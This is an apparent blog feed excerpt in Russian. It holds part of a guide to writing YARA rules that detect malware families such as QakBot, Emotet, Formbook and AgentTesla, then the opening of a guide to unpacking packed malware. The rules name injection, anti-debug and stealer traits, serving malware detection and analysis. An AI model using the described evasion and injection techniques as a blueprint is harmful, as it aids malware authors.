        description = &amp;quot;High-entropy blob - encrypted config or payload&amp;quot;

    condition:
        uint16(0) == 0x5A4D and
        filesize &amp;lt; 2MB and
        // Средняя энтропия файла высокая
        math.entropy(0, filesize) &amp;gt; 6.8 and
        // Но не максимальная (не случайные данные)
        math.entropy(0, filesize) &amp;lt; 7.8
}
&lt;/pre&gt;
  &lt;p id=&quot;vGmR&quot;&gt;Более точный подход: искать высокоэнтропийный блок конкретного размера внутри файла. Модуль &lt;code&gt;math&lt;/code&gt; в YARA 4.x поддерживает &lt;code&gt;math.entropy(offset, size)&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;RCEo&quot;&gt;import &amp;quot;math&amp;quot;

rule Encrypted_Payload_Section {
    meta:
        description = &amp;quot;High-entropy section of 4-64KB - typical config/payload size&amp;quot;

    condition:
        uint16(0) == 0x5A4D and
        // Ищем блок 0x1000-0x10000 байт с высокой энтропией
        for any offset in (0x400 .. filesize - 0x1000) : (
            math.entropy(offset, 0x1000) &amp;gt; 7.2
        )
}
&lt;/pre&gt;
  &lt;h3 id=&quot;bdJ9&quot;&gt;Поиск XOR-ключа через known-plaintext&lt;/h3&gt;
  &lt;p id=&quot;4zBw&quot;&gt;Если известна часть открытого текста (например, конфиг всегда начинается с известной сигнатуры или версии), можно восстановить XOR-ключ и затем искать его в файле.&lt;/p&gt;
  &lt;p id=&quot;OIlA&quot;&gt;Допустим конфиг начинается с ASCII-строки &amp;quot;http&amp;quot; (0x68 0x74 0x74 0x70). Если зашифрованный конфиг начинается с байт &lt;code&gt;XX YY ZZ WW&lt;/code&gt;, то ключ байт 1 = &lt;code&gt;0x68 XOR XX&lt;/code&gt;, байт 2 = &lt;code&gt;0x74 XOR YY&lt;/code&gt;, и так далее. Найти этот ключ в файле и написать сигнатуру.&lt;/p&gt;
  &lt;h3 id=&quot;q0kH&quot;&gt;Rolling-XOR конфиг с маркером&lt;/h3&gt;
  &lt;p id=&quot;gCYn&quot;&gt;Многие семейства предваряют зашифрованный блок маркером длины или сигнатурой. Например, первые 4 байта = длина зашифрованного блока, следующие N байт = payload.&lt;/p&gt;
  &lt;pre id=&quot;PybC&quot;&gt;rule Config_Length_Prefixed_Blob {
    meta:
        description = &amp;quot;Length-prefixed encrypted blob - common config pattern&amp;quot;

    strings:
        // Маркер: DWORD длина, за которым сразу идут шифрованные данные
        // Длина обычно в диапазоне 0x100 - 0x10000
        $len_prefix = {
            [4-4]           // DWORD length (любые 4 байта)
            ( E? | F? | 8? | 9? | A? | B? )   // первый байт зашифрованного блока
                                                 // не 00 и не FF (не пустые/заполненные данные)
        }

    condition:
        uint16(0) == 0x5A4D and $len_prefix
}
&lt;/pre&gt;
  &lt;h3 id=&quot;LchW&quot;&gt;Поиск XOR с константным ключом через статистику&lt;/h3&gt;
  &lt;p id=&quot;U7o5&quot;&gt;Байты, XOR-ованные с константным однобайтным ключом, сохраняют частотное распределение исходного текста. Если ключ — нулевой байт, данные не изменятся. Ненулевой ключ сдвигает распределение.&lt;/p&gt;
  &lt;p id=&quot;p7wf&quot;&gt;В YARA нельзя делать статистический анализ напрямую, но можно искать паттерны результата. Например: если конфиг содержит много нулевых байт (padding, нулевые порты), они XOR-уются в значение ключа. Искать повторяющийся байт через hex-паттерн:&lt;/p&gt;
  &lt;pre id=&quot;SB3p&quot;&gt;rule XOR_Encrypted_With_Repeated_Byte {
    meta:
        description = &amp;quot;Repeated byte pattern - suggests XOR with constant key (null bytes)&amp;quot;
        note        = &amp;quot;Change 0xAB to actual repeated byte found in samples&amp;quot;

    strings:
        // Если ключ = 0xAB, то нулевые байты конфига станут 0xAB
        // Искать серию повторяющихся байт (padding -&amp;gt; XOR key bytes)
        $repeated_xor_key = { AB AB AB AB AB AB AB AB }

    condition:
        uint16(0) == 0x5A4D and $repeated_xor_key
}
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;Bqbz&quot;&gt;Раздел 7: Anti-fragile сигнатуры — архитектурные константы&lt;/h2&gt;
  &lt;h3 id=&quot;fJwb&quot;&gt;Принцип anti-fragile для YARA&lt;/h3&gt;
  &lt;p id=&quot;P7BY&quot;&gt;Anti-fragile сигнатура — та, которая становится сильнее при попытке авторов её обойти. Это достигается через комбинирование признаков разных уровней: один признак можно убрать, три связанных — уже сложнее.&lt;/p&gt;
  &lt;p id=&quot;xlKi&quot;&gt;Структура anti-fragile правила: несколько независимых признаков разных классов (структурный + поведенческий + строковый), объединённых через логику &lt;code&gt;X из N&lt;/code&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;zF3q&quot;&gt;Комбинированное правило: пример для Formbook/XLoader&lt;/h3&gt;
  &lt;p id=&quot;Qzea&quot;&gt;Formbook имеет: характерный метод инжекции через &lt;code&gt;NtQuerySystemInformation&lt;/code&gt; для поиска процессов, специфичный anti-debug через &lt;code&gt;NtSetInformationThread&lt;/code&gt; с ThreadHideFromDebugger, и характерную структуру PE без ресурсов.&lt;/p&gt;
  &lt;pre id=&quot;bqOv&quot;&gt;import &amp;quot;pe&amp;quot;

rule Formbook_XLoader_Combined {
    meta:
        description = &amp;quot;Formbook/XLoader - combined multi-layer signature&amp;quot;
        author      = &amp;quot;SOC-analyst&amp;quot;
        date        = &amp;quot;2024-01&amp;quot;
        families    = &amp;quot;Formbook, XLoader&amp;quot;

    strings:
        // Anti-debug: NtSetInformationThread с ThreadHideFromDebugger (0x11)
        $antidebug_hide = {
            6A 11           // push 11h (ThreadHideFromDebugger)
            6A 00           // push 0 (ThreadInformationLength = 0)
            6A 00           // push NULL (ThreadInformation)
            FF 75 ??        // push [ebp+hThread]
            FF 15 ?? ?? ?? ??  // call NtSetInformationThread
        }

        // NtQuerySystemInformation для enumeration процессов
        $proc_enum = {
            6A ??           // push size
            FF 75 ??        // push buffer
            6A ??           // push length
            6A 05           // push 5 (SystemProcessInformation)
            FF 15 ?? ?? ?? ??  // call NtQuerySystemInformation
        }

        // Характерный мьютекс-паттерн (не конкретное значение, а формат)
        $mutex_fmt = /[A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{12}/

    condition:
        uint16(0) == 0x5A4D and
        pe.data_directories[pe.DIRECTORY_ENTRY_RESOURCE].size == 0 and
        filesize &amp;lt; 1MB and
        2 of ($antidebug_hide, $proc_enum, $mutex_fmt)
}
&lt;/pre&gt;
  &lt;h3 id=&quot;3ccc&quot;&gt;Правило с условием &amp;quot;2 из 5&amp;quot; — устойчивость к модификациям&lt;/h3&gt;
  &lt;p id=&quot;6mbp&quot;&gt;Авторы малвари убирают один признак — правило всё равно срабатывает:&lt;/p&gt;
  &lt;pre id=&quot;TpXG&quot;&gt;import &amp;quot;pe&amp;quot;
import &amp;quot;math&amp;quot;

rule Loader_AntiFragile_2of5 {
    meta:
        description = &amp;quot;Generic loader fingerprint - robust to partial modification&amp;quot;

    strings:
        // Признак 1: VirtualAlloc + PAGE_EXECUTE_READWRITE
        $va_rwx = {
            6A 40           // push 40h (PAGE_EXECUTE_READWRITE)
            68 ?? ?? ?? ??  // push flAllocationType
            68 ?? ?? 00 00  // push size
            6A 00           // push NULL (lpAddress)
            FF 15 ?? ?? ?? ??  // call VirtualAlloc
        }

        // Признак 2: WriteProcessMemory
        $wpm = &amp;quot;WriteProcessMemory&amp;quot; ascii

        // Признак 3: CreateRemoteThread
        $crt = &amp;quot;CreateRemoteThread&amp;quot; ascii

        // Признак 4: NtUnmapViewOfSection (Process Hollowing)
        $unmap = &amp;quot;NtUnmapViewOfSection&amp;quot; ascii

        // Признак 5: Характерный XOR loop
        $xor_loop = {
            8A 0?
            32 ??
            88 0?
            4?
            4?
            75 ??
        }

    condition:
        uint16(0) == 0x5A4D and
        filesize &amp;lt; 5MB and
        math.entropy(0, filesize) &amp;gt; 6.0 and
        2 of ($va_rwx, $wpm, $crt, $unmap, $xor_loop)
}
&lt;/pre&gt;
  &lt;h3 id=&quot;XTWB&quot;&gt;Временна́я устойчивость: не цепляться за C2&lt;/h3&gt;
  &lt;p id=&quot;rXyI&quot;&gt;Самая распространённая ошибка — включить в правило IP-адрес или домен C2. Это работает ровно до первой смены инфраструктуры — то есть дни или недели.&lt;/p&gt;
  &lt;p id=&quot;6d8J&quot;&gt;Правильный подход: писать правило на метаданные строк C2, а не на их значения.&lt;/p&gt;
  &lt;p id=&quot;JBUa&quot;&gt;Например, Emotet хранит список C2 как массив структур &lt;code&gt;{IP, PORT}&lt;/code&gt; в зашифрованном виде. Признак — не конкретные IP, а количество и размер этого массива, плюс структура декриптора.&lt;/p&gt;
  &lt;pre id=&quot;Y8jQ&quot;&gt;import &amp;quot;pe&amp;quot;

rule Emotet_C2_List_Structure {
    meta:
        description = &amp;quot;Emotet C2 list structural fingerprint - not hardcoded IPs&amp;quot;
        note        = &amp;quot;IP:PORT struct array, typically 64-100 entries * 6 bytes = 384-600 bytes&amp;quot;

    strings:
        // Декриптор структуры C2-листа: характерный паттерн обхода массива
        // ADD REG, 6 — шаг 6 байт (4 байта IP + 2 байта PORT)
        $c2_loop_step = {
            83 C? 06        // add reg, 6  (next C2 entry, 4+2 bytes)
            3B ??           // cmp reg, reg (boundary check)
            72 ??           // jb (loop back)
        }

    condition:
        uint16(0) == 0x5A4D and
        $c2_loop_step
}
&lt;/pre&gt;
  &lt;h3 id=&quot;SyQY&quot;&gt;Семантические константы: магические числа алгоритмов&lt;/h3&gt;
  &lt;p id=&quot;qgtc&quot;&gt;Криптографические алгоритмы содержат неизменяемые константы. Это self-evident anti-fragile признаки — убрать их нельзя, потому что без них алгоритм не работает.&lt;/p&gt;
  &lt;p id=&quot;VySJ&quot;&gt;&lt;strong&gt;RC4 (KSA инициализация):&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;TGi3&quot;&gt;rule RC4_KSA_Implementation {
    meta:
        description = &amp;quot;RC4 Key Scheduling Algorithm - constant loop 0-255&amp;quot;

    strings:
        // Инициализация S-блока: for(i=0; i&amp;lt;256; i++) S[i] = i
        // Паттерн: счётчик до 256 (0x100), инкремент/сохранение
        $rc4_sbox_init = {
            33 C9           // xor ecx, ecx  (i = 0)
            88 0C ??        // mov [reg+ecx], cl (S[i] = i)
            41              // inc ecx
            81 F9 00 01 00 00  // cmp ecx, 100h (256)
            72 ??           // jb (loop)
        }

    condition:
        uint16(0) == 0x5A4D and $rc4_sbox_init
}
&lt;/pre&gt;
  &lt;p id=&quot;iwAw&quot;&gt;&lt;strong&gt;CRC32 полином (0xEDB88320 — reversed):&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;vAe2&quot;&gt;rule CRC32_Polynomial_Constant {
    meta:
        description = &amp;quot;CRC32 polynomial constant - integrity check or hashing&amp;quot;

    strings:
        $crc32_poly = { 20 83 B8 ED }   // 0xEDB88320 little-endian

    condition:
        uint16(0) == 0x5A4D and $crc32_poly
}
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;bubH&quot;&gt;Раздел 8: Написание правил для конкретных семейств&lt;/h2&gt;
  &lt;h3 id=&quot;t2jt&quot;&gt;Метаданные правила — стандарт оформления&lt;/h3&gt;
  &lt;p id=&quot;tlfZ&quot;&gt;Правило без метаданных — это потерянное правило. Минимальный обязательный набор:&lt;/p&gt;
  &lt;pre id=&quot;odYP&quot;&gt;rule FamilyName_Variant_Component {
    meta:
        author      = &amp;quot;analyst-handle&amp;quot;
        description = &amp;quot;Краткое описание что именно детектирует&amp;quot;
        date        = &amp;quot;YYYY-MM&amp;quot;
        version     = &amp;quot;1.0&amp;quot;
        tlp         = &amp;quot;WHITE / GREEN / AMBER / RED&amp;quot;
        reference   = &amp;quot;URL или внутренний тикет&amp;quot;
        families    = &amp;quot;через запятую если покрывает несколько&amp;quot;
        hash        = &amp;quot;sha256 образца-источника (первый из которых написано правило)&amp;quot;
        tags        = &amp;quot;loader, dropper, stealer — категория&amp;quot;
}
&lt;/pre&gt;
  &lt;p id=&quot;Rrst&quot;&gt;Соглашение по именованию: &lt;code&gt;Семейство_Вариант_Компонент&lt;/code&gt;. Например: &lt;code&gt;AgentTesla_v3_Clipboard&lt;/code&gt;, &lt;code&gt;Emotet_Loader_C2List&lt;/code&gt;, &lt;code&gt;CobaltStrike_Beacon_x64_Staged&lt;/code&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;Uh21&quot;&gt;Глубокий пример: QakBot/Qbot&lt;/h3&gt;
  &lt;p id=&quot;1V88&quot;&gt;QakBot — долгоживущее семейство с многолетней историей модификаций. Устойчивые признаки: характерный формат конфига (версия, campaign ID, timestamp, C2-лист), специфичный метод injection через &lt;code&gt;SetWindowsHookExA&lt;/code&gt;, и характерный анти-анализ через &lt;code&gt;cpuid&lt;/code&gt;+&lt;code&gt;rdtsc&lt;/code&gt;.&lt;/p&gt;
  &lt;pre id=&quot;Tjpv&quot;&gt;import &amp;quot;pe&amp;quot;
import &amp;quot;math&amp;quot;

rule QakBot_Core_MultiVersion {
    meta:
        author      = &amp;quot;SOC-analyst&amp;quot;
        description = &amp;quot;QakBot core module - structural + behavioral fingerprint&amp;quot;
        date        = &amp;quot;2024-01&amp;quot;
        version     = &amp;quot;2.0&amp;quot;
        tlp         = &amp;quot;GREEN&amp;quot;
        families    = &amp;quot;QakBot, Qbot, Pinkslipbot&amp;quot;
        reference   = &amp;quot;internal&amp;quot;

    strings:
        // Campaign ID lookup - QakBot хранит строку вида &amp;quot;BB&amp;quot; или &amp;quot;obama&amp;quot; перед конфигом
        // Паттерн доступа к campaign строке в памяти
        $campaign_access = {
            8D ?? ??        // lea reg, [reg+offset]  (адрес campaign string)
            50              // push eax
            E8 ?? ?? ?? ??  // call  (encrypt/hash campaign id)
            83 C4 04        // add esp, 4
        }

        // SetWindowsHookEx injection pattern
        $hook_inject = {
            6A ??           // push hook type
            FF 75 ??        // push [ebp+proc_handle]
            FF 75 ??        // push [ebp+hmod]
            FF 15 ?? ?? ?? ??  // call SetWindowsHookExA/W
            85 C0
            74 ??           // jz fail
        }

        // Anti-analysis: двойной RDTSC + сравнение
        $timing_check = {
            0F 31           // rdtsc  (first)
            89 ?? ??        // mov [ebp+var], eax  (save)
            ?? ?? ??        // some instructions
            0F 31           // rdtsc  (second)
            2B C?           // sub eax, reg  (diff)
            3D ?? ?? 00 00  // cmp eax, threshold
        }

        // Характерный mutex формат QakBot: &amp;quot;{GUID}&amp;quot; в Wide string
        $mutex_pattern = /\{[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}\}/ wide

    condition:
        uint16(0) == 0x5A4D and
        pe.is_dll() and                     // QakBot core module — DLL
        filesize &amp;gt; 0x10000 and              // Минимальный разумный размер
        filesize &amp;lt; 0x200000 and
        math.entropy(0, filesize) &amp;lt; 7.0 and // Не упакован (или легко распакован)
        2 of ($campaign_access, $hook_inject, $timing_check, $mutex_pattern)
}
&lt;/pre&gt;
  &lt;h3 id=&quot;QoSk&quot;&gt;Пример для .NET семейства: Agent Tesla v3&lt;/h3&gt;
  &lt;p id=&quot;ktcs&quot;&gt;.NET малварь отличается: её тело — MSIL, а не нативный x86/x64. Opcode-паттерны другие — это IL-байткод. Зато строки часто видны даже без де-обфускации.&lt;/p&gt;
  &lt;pre id=&quot;PDCz&quot;&gt;import &amp;quot;pe&amp;quot;
import &amp;quot;dotnet&amp;quot;

rule AgentTesla_v3_dotNET {
    meta:
        description = &amp;quot;AgentTesla v3 - .NET stealer fingerprint&amp;quot;
        families    = &amp;quot;AgentTesla&amp;quot;

    strings:
        // Характерные строки обращения к SMTP/Telegram C2
        $smtp_header = &amp;quot;MIME-Version: 1.0&amp;quot; ascii wide
        $telegram_api = &amp;quot;api.telegram.org&amp;quot; ascii wide

        // Специфичный формат отчёта AgentTesla
        $report_header = &amp;quot;---------- PC NAME&amp;quot; ascii wide
        $os_info = &amp;quot;OS Full Name&amp;quot; ascii wide

        // Keylogger callback names (стабильны между версиями)
        $kl_func = &amp;quot;KeyboardHook&amp;quot; ascii wide

    condition:
        uint16(0) == 0x5A4D and
        // Это .NET сборка
        pe.data_directories[pe.DIRECTORY_ENTRY_COM_DESCRIPTOR].size &amp;gt; 0 and
        (
            ($smtp_header and $report_header) or
            ($telegram_api and $kl_func) or
            ($os_info and $kl_func and $report_header)
        )
}
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;TzIG&quot;&gt;Раздел 9: Верификация и тестирование правил&lt;/h2&gt;
  &lt;h3 id=&quot;6XZo&quot;&gt;Pipeline проверки перед релизом правила&lt;/h3&gt;
  &lt;p id=&quot;ZIgu&quot;&gt;Написать правило — половина работы. Вторая половина — убедиться что оно работает как задумано.&lt;/p&gt;
  &lt;p id=&quot;zflu&quot;&gt;Шаг 1: &lt;strong&gt;True Positive rate&lt;/strong&gt;. Прогнать по набору известных образцов семейства. Минимум 10 разных образцов из разных кампаний. Целевой показатель: срабатывание на 80%+ образцов. Если меньше — признаки слишком специфичны.&lt;/p&gt;
  &lt;pre id=&quot;flsH&quot;&gt;yara -r rule.yara /path/to/samples/ 2&amp;gt;/dev/null | grep &amp;quot;rule_name&amp;quot; | wc -l
&lt;/pre&gt;
  &lt;p id=&quot;nQdO&quot;&gt;Шаг 2: &lt;strong&gt;False Positive rate&lt;/strong&gt;. Прогнать по чистому набору — системные DLL, стандартные утилиты, популярный open-source код. Ноль ложных срабатываний — обязательное условие для production.&lt;/p&gt;
  &lt;pre id=&quot;ZjV3&quot;&gt;yara -r rule.yara /path/to/clean_samples/ 2&amp;gt;/dev/null
# Вывод должен быть пустым
&lt;/pre&gt;
  &lt;p id=&quot;9DJO&quot;&gt;Шаг 3: &lt;strong&gt;Performance&lt;/strong&gt;. Правило с плохим паттерном (например, однобайтовая строка) будет тормозить сканирование. Тест:&lt;/p&gt;
  &lt;pre id=&quot;ibVx&quot;&gt;time yara rule.yara /path/to/large_corpus/
# Если &amp;gt; 1 секунды на 1000 файлов — смотреть на паттерны
&lt;/pre&gt;
  &lt;h3 id=&quot;zvZ3&quot;&gt;Частые причины ложных срабатываний&lt;/h3&gt;
  &lt;p id=&quot;yHS2&quot;&gt;&lt;strong&gt;Слишком короткие строки&lt;/strong&gt;: строка длиной меньше 4 байт будет находиться в случайных файлах. Минимум для hex-паттерна — 6-8 байт с редкими значениями.&lt;/p&gt;
  &lt;p id=&quot;15Wz&quot;&gt;&lt;strong&gt;Опкоды без контекста&lt;/strong&gt;: &lt;code&gt;75 ??&lt;/code&gt; (JNZ) встречается в любом файле. Всегда оборачивать в более длинный паттерн.&lt;/p&gt;
  &lt;p id=&quot;zVrx&quot;&gt;&lt;strong&gt;Общие API-имена&lt;/strong&gt;: &lt;code&gt;VirtualAlloc&lt;/code&gt; в строках импортирует почти каждый упаковщик, включая UPX-упакованные легитимные файлы. Использовать только в комбинации с другими признаками.&lt;/p&gt;
  &lt;p id=&quot;59OM&quot;&gt;&lt;strong&gt;Энтропия как единственный признак&lt;/strong&gt;: правило только на высокую энтропию даст 50%+ ложных срабатываний на любые зашифрованные файлы данных.&lt;/p&gt;
  &lt;h3 id=&quot;yJDw&quot;&gt;Инструменты для тестирования&lt;/h3&gt;
  &lt;p id=&quot;zmWY&quot;&gt;&lt;strong&gt;YARA сам по себе&lt;/strong&gt;: &lt;code&gt;yara -r rule.yara directory/&lt;/code&gt; — рекурсивный обход.&lt;/p&gt;
  &lt;p id=&quot;qwY2&quot;&gt;&lt;strong&gt;yarGen&lt;/strong&gt;: генерирует строковые признаки из образца, автоматически фильтруя признаки встречающиеся в чистых файлах.&lt;/p&gt;
  &lt;p id=&quot;nfEI&quot;&gt;&lt;strong&gt;BASS&lt;/strong&gt; (Bulk YARA Signature Scanner): тестирование на больших корпусах.&lt;/p&gt;
  &lt;p id=&quot;juge&quot;&gt;&lt;strong&gt;VirusTotal Livehunt&lt;/strong&gt;: если правило публичное, можно проверить в условиях реального потока. Но: никогда не загружать non-public правила в VT.&lt;/p&gt;
  &lt;p id=&quot;YdTr&quot;&gt;&lt;strong&gt;CAPE sandbox&lt;/strong&gt;: автоматически создаёт YARA-правила из динамического анализа. Использовать как отправную точку, не как финальный результат.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;ER6B&quot;&gt;Финальный вывод&lt;/h2&gt;
  &lt;h3 id=&quot;ZsWN&quot;&gt;Иерархия устойчивости признаков&lt;/h3&gt;
  &lt;p id=&quot;9cXx&quot;&gt;От наименее к наиболее устойчивым:&lt;/p&gt;
  &lt;p id=&quot;t9vZ&quot;&gt;C2-адреса и домены → Строки сообщений об ошибках → Имена мьютексов → Имена файлов и пути → Строки конфигурации → Структура PE и компоновка секций → Опкодовые паттерны алгоритмов → Криптографические константы → Rich Header → Архитектура декриптора.&lt;/p&gt;
  &lt;p id=&quot;Gd3a&quot;&gt;Последние три категории — основа anti-fragile сигнатуры.&lt;/p&gt;
  &lt;h3 id=&quot;yZjs&quot;&gt;Чек-лист перед релизом правила&lt;/h3&gt;
  &lt;p id=&quot;yHuF&quot;&gt;Прежде чем правило уходит в production:&lt;/p&gt;
  &lt;p id=&quot;YjaQ&quot;&gt;Метаданные заполнены полностью, включая хэш образца-источника. Правило прогнано на минимум 10 образцах семейства — True Positive проверен. Правило прогнано на чистом корпусе (системные файлы, популярные приложения) — False Positive = 0. Признаки не включают volatile-данные (C2, IP, домены). Логика условия использует &lt;code&gt;X of (Y)&lt;/code&gt; для устойчивости к модификациям. Каждый строковый паттерн длиннее 6 байт или имеет достаточно редкие значения. Правило протестировано на performance — время сканирования приемлемо.&lt;/p&gt;
  &lt;h3 id=&quot;ewhw&quot;&gt;Ключевые принципы&lt;/h3&gt;
  &lt;p id=&quot;3h1C&quot;&gt;&lt;strong&gt;Семья, не образец&lt;/strong&gt; — сигнатура должна описывать архитектурные константы семейства, а не байты конкретной сборки.&lt;/p&gt;
  &lt;p id=&quot;CMTQ&quot;&gt;&lt;strong&gt;Глубина признаков&lt;/strong&gt; — комбинировать признаки разных классов: структурные, поведенческие, криптографические. Один признак можно убрать, три независимых — нельзя.&lt;/p&gt;
  &lt;p id=&quot;bkKa&quot;&gt;&lt;strong&gt;Маскировать volatile&lt;/strong&gt; — адреса функций в IAT, относительные смещения прыжков, конкретные адреса — всё это &lt;code&gt;??&lt;/code&gt; или &lt;code&gt;[N-M]&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;BpCx&quot;&gt;&lt;strong&gt;Rich Header как корреляция&lt;/strong&gt; — не как единственный признак, но как дополнительный слой для кластеризации образцов одной сборочной системы.&lt;/p&gt;
  &lt;p id=&quot;ct1Q&quot;&gt;&lt;strong&gt;Энтропия дополняет, не заменяет&lt;/strong&gt; — математические условия через &lt;code&gt;math.entropy()&lt;/code&gt; сужают пространство до &amp;quot;скорее всего зашифрован&amp;quot;, но не идентифицируют семейство.&lt;/p&gt;
  &lt;p id=&quot;uNRs&quot;&gt;&lt;strong&gt;Криптоконстанты неизменяемы&lt;/strong&gt; — магические числа RC4, CRC32, AES S-box, ChaCha20 — это self-evident признаки, которые авторы малвари не могут убрать без потери функциональности.&lt;/p&gt;

</content></entry><entry><id>sccrrap:icH625DW8gF</id><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap/icH625DW8gF?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><title>Гайд по анпакингу и де-обфускации малвари</title><published>2026-06-08T13:59:18.952Z</published><updated>2026-06-08T13:59:18.952Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/8e/18/8e18828f-b814-4487-be5e-b4225da42989.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/ce/38/ce38e6fd-1820-4eac-9ac9-a70652fd705a.png&quot;&gt;Открываешь файл в DIE. Главное окно разбито на несколько блоков. Читать их нужно все, а не только строку &quot;Packer&quot;.</summary><content type="html">
  &lt;figure id=&quot;CY78&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/ce/38/ce38e6fd-1820-4eac-9ac9-a70652fd705a.png&quot; width=&quot;1536&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;b3OT&quot;&gt;Раздел 1: Пассивная разведка до x64dbg&lt;/h2&gt;
  &lt;h3 id=&quot;UW1p&quot;&gt;DIE (Detect It Easy) — чтение всех полей&lt;/h3&gt;
  &lt;p id=&quot;ncIf&quot;&gt;Открываешь файл в DIE. Главное окно разбито на несколько блоков. Читать их нужно все, а не только строку &amp;quot;Packer&amp;quot;.&lt;/p&gt;
  &lt;p id=&quot;o9eY&quot;&gt;Строка &lt;strong&gt;Packer&lt;/strong&gt; — название и версия. Версия критична: UPX 3.96 распакуется одной командой, UPX 4.0+ иногда нет. Если написано &amp;quot;UPX (modified)&amp;quot; — заголовок повреждён, нужен HEX-редактор. Если написано &amp;quot;Unknown&amp;quot; — custom packer, надо работать руками.&lt;/p&gt;
  &lt;p id=&quot;5pHx&quot;&gt;Строка &lt;strong&gt;Compiler&lt;/strong&gt; — язык написания. Если Golang — IAT работает иначе, там нет стандартного импорта через PE-таблицу, всё линкуется статически. Если Delphi — код выглядит специфично, функции с префиксом &lt;code&gt;@&lt;/code&gt;. Если .NET — сразу идёшь в dnSpy, x64dbg здесь неудобен.&lt;/p&gt;
  &lt;p id=&quot;GSaf&quot;&gt;Строка &lt;strong&gt;Linker&lt;/strong&gt; — версия компоновщика. Иногда выдаёт реальный возраст сэмпла, даже если &lt;code&gt;TimeDateStamp&lt;/code&gt; в PE-заголовке подделан под 1970 или 2037 год.&lt;/p&gt;
  &lt;p id=&quot;VuD6&quot;&gt;Вкладка &lt;strong&gt;Entropy&lt;/strong&gt; — визуальный graf по секциям. Красные столбцы выше 7.0 = зашифрованный контент. Смотреть не среднюю энтропию файла, а именно по секциям: если &lt;code&gt;.text&lt;/code&gt; имеет 7.8 — там не code, там blob.&lt;/p&gt;
  &lt;p id=&quot;Qlqb&quot;&gt;Вкладка &lt;strong&gt;Heuristic&lt;/strong&gt; — DIE иногда детектирует одновременно и Packer, и Protector. Например: &amp;quot;UPX&amp;quot; + &amp;quot;VMProtect&amp;quot;. Это значит файл сначала упакован UPX, а поверх защищён VMProtect. После распаковки UPX тебя встретит VMProtect — нужно знать об этом заранее.&lt;/p&gt;
  &lt;h3 id=&quot;jDdq&quot;&gt;PEStudio — порядок чтения вкладок&lt;/h3&gt;
  &lt;p id=&quot;kYUj&quot;&gt;&lt;strong&gt;Indicators&lt;/strong&gt; — открывать первым. Красные строки — это приоритет. Жёлтые — фоновый шум, их можно игнорировать при первом просмотре. Типичные красные индикаторы упакованной малвари: &amp;quot;file contains no meaningful strings&amp;quot;, &amp;quot;entropy of section is high&amp;quot;, &amp;quot;import table is suspicious&amp;quot;.&lt;/p&gt;
  &lt;p id=&quot;kZ65&quot;&gt;&lt;strong&gt;Libraries&lt;/strong&gt; — смотреть количество. Нормальный PE имеет 5-15 библиотек. Если видишь только &lt;code&gt;kernel32.dll&lt;/code&gt; + &lt;code&gt;ntdll.dll&lt;/code&gt; — IAT пустая, всё восстанавливается в рантайме. Если есть только &lt;code&gt;GetProcAddress&lt;/code&gt; и &lt;code&gt;LoadLibraryA&lt;/code&gt; — это runtime IAT resolve, стандартный паттерн любого паккера.&lt;/p&gt;
  &lt;p id=&quot;FkxV&quot;&gt;&lt;strong&gt;Functions&lt;/strong&gt; — список импортируемых функций. Подозрительные комбинации:&lt;/p&gt;
  &lt;ul id=&quot;Ffri&quot;&gt;
    &lt;li id=&quot;juR9&quot;&gt;&lt;code&gt;VirtualAlloc&lt;/code&gt; + &lt;code&gt;VirtualProtect&lt;/code&gt; + &lt;code&gt;GetProcAddress&lt;/code&gt; → in-memory распаковка&lt;/li&gt;
    &lt;li id=&quot;3Pt9&quot;&gt;&lt;code&gt;CreateProcess&lt;/code&gt; + &lt;code&gt;WriteProcessMemory&lt;/code&gt; + &lt;code&gt;SetThreadContext&lt;/code&gt; → Process Hollowing&lt;/li&gt;
    &lt;li id=&quot;1UgT&quot;&gt;&lt;code&gt;IsDebuggerPresent&lt;/code&gt; + &lt;code&gt;CheckRemoteDebuggerPresent&lt;/code&gt; → anti-debug в stub&lt;/li&gt;
    &lt;li id=&quot;l6eq&quot;&gt;&lt;code&gt;NtQueryInformationProcess&lt;/code&gt; → продвинутый anti-debug, проверяет DebugPort&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;7ULV&quot;&gt;&lt;strong&gt;Strings&lt;/strong&gt; — нажать на колонку &amp;quot;Blacklist&amp;quot; для сортировки. PEStudio сам выделяет подозрительное красным. Если строк меньше 20 осмысленных — упакован. Нормальный PE содержит сотни строк: пути, сообщения об ошибках, имена функций.&lt;/p&gt;
  &lt;p id=&quot;V9B4&quot;&gt;&lt;strong&gt;Sections&lt;/strong&gt; — смотреть четыре параметра на каждую секцию: имя, энтропия, Raw Size, Virtual Size. Если Raw Size = 0 при большом Virtual Size — UPX0-стиль, секция заполнится при распаковке. Если имя секции — мусор или пустая строка — custom packer. RWX-флаги (Execute + Read + Write одновременно) на секции — туда будет писаться и исполняться код.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;X8Q5&quot;&gt;Раздел 2: HEX-редактор — ручная работа с заголовком&lt;/h2&gt;
  &lt;h3 id=&quot;FOBW&quot;&gt;Анатомия PE для ручной работы&lt;/h3&gt;
  &lt;p id=&quot;5KoM&quot;&gt;Открыть в 010 Editor. Подключить шаблон &lt;code&gt;EXE.bt&lt;/code&gt; через Templates → Open Template — он автоматически разберёт и подсветит все поля.&lt;/p&gt;
